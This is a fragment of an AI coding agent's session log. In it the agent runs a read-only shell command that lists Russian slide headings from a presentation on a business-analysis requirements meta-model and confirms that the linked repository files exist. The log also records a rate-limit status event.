{\n[2026-09-29T07:54:44.094Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"cache_missed_input_tokens\": 19215\n[2026-09-29T07:54:44.094Z] [INFO]       }\n[2026-09-29T07:54:44.094Z] [INFO]     },\n[2026-09-29T07:54:44.094Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:44.094Z] [INFO]   },\n[2026-09-29T07:54:44.094Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:44.094Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"uuid\": \"a8e9ddaa-7129-44d8-991d-8bb740374563\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:44.081Z\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"request_id\": \"req_011CfXNTXbup7xhSFAKTxnmH\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:54:44.094Z] [INFO]     \"toolu_019wGzcUskgkdhYFEaarGco9\": {\n[2026-09-29T07:54:44.094Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n '^## \u0421\u043b\u0430\u0439\u0434' projects/ba-ai-process/docs/presentation/*.md; echo ---; grep -oh 'https://github.com/G-Ivan-A/hybrid-Intelligence-lab/[a-z]*/main/[^) \\\">]*' projects/ba-ai-process/docs/presentation/*speaker*.md | sort -u | while read u; do p=${u#*/main/}; p=${p%%#*}; [ -e \\\"$p\\\" ] && echo \\\"OK $p\\\" || echo \\\"MISSING $p\\\"; done\",\n[2026-09-29T07:54:44.094Z] [INFO]       \"description\": \"List slide headings and check link targets exist\"\n[2026-09-29T07:54:44.094Z] [INFO]     }\n[2026-09-29T07:54:44.094Z] [INFO]   }\n[2026-09-29T07:54:44.094Z] [INFO] }\n[2026-09-29T07:54:44.112Z] [INFO] {\n[2026-09-29T07:54:44.112Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:54:44.112Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:54:44.112Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:54:44.112Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:54:44.112Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:54:44.112Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:54:44.112Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:54:44.112Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:54:44.112Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:54:44.112Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:54:44.112Z] [INFO]         \"utilization\": 0.41,\n[2026-09-29T07:54:44.112Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:54:44.112Z] [INFO]       },\n[2026-09-29T07:54:44.112Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:54:44.112Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:54:44.112Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:54:44.112Z] [INFO]       }\n[2026-09-29T07:54:44.112Z] [INFO]     }\n[2026-09-29T07:54:44.112Z] [INFO]   },\n[2026-09-29T07:54:44.112Z] [INFO]   \"uuid\": \"c05e898a-a851-4ec7-bd3b-13d0fa068d6c\",\n[2026-09-29T07:54:44.112Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:54:44.112Z] [INFO] }\n[2026-09-29T07:54:45.623Z] [INFO] {\n[2026-09-29T07:54:45.623Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"message\": {\n[2026-09-29T07:54:45.623Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:54:45.623Z] [INFO]     \"content\": [\n[2026-09-29T07:54:45.623Z] [INFO]       {\n[2026-09-29T07:54:45.623Z] [INFO]         \"tool_use_id\": \"toolu_019wGzcUskgkdhYFEaarGco9\",\n[2026-09-29T07:54:45.623Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:54:45.623Z] [INFO]         \"content\": \"projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:78:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:109:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:146:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:186:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:233:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:274:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:324:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:373:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:455:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:73:## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:98:## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:339:## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n---\\nOK docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md\\nOK ops/backlog.md\\nOK projects/ba-ai-process/ba-meta-model/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md\\nOK projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml\\nOK projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\nOK projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\nOK projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md\\nOK research/ba-requirements/2026-09-08-kb-slot-fit-facts.md\\nOK research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\nOK research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md\\nOK research/ba-requirements/methodology-unification/40-practice-and-cases.md\\nOK projects/ba-ai-process/dist/execution-package-gigacode-cli/golden\",\n[2026-09-29T07:54:45.623Z] [INFO]         \"is_error\": false\n[2026-09-29T07:54:45.623Z] [INFO]       }\n[2026-09-29T07:54:45.623Z] [INFO]     ]\n[2026-09-29T07:54:45.623Z] [INFO]   },\n[2026-09-29T07:54:45.623Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:45.623Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"uuid\": \"60c233c2-7251-4114-ba20-601a5d5a9ed1\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:45.607Z\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:54:45.623Z] [INFO]     \"stdout\": \"projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:78:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:109:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:146:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:186:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:233:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:274:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:324:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:373:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:455:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:73:## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:98:## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:339:## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n---\\nOK docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md\\nOK ops/backlog.md\\nOK projects/ba-ai-process/ba-meta-model/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md\\nOK 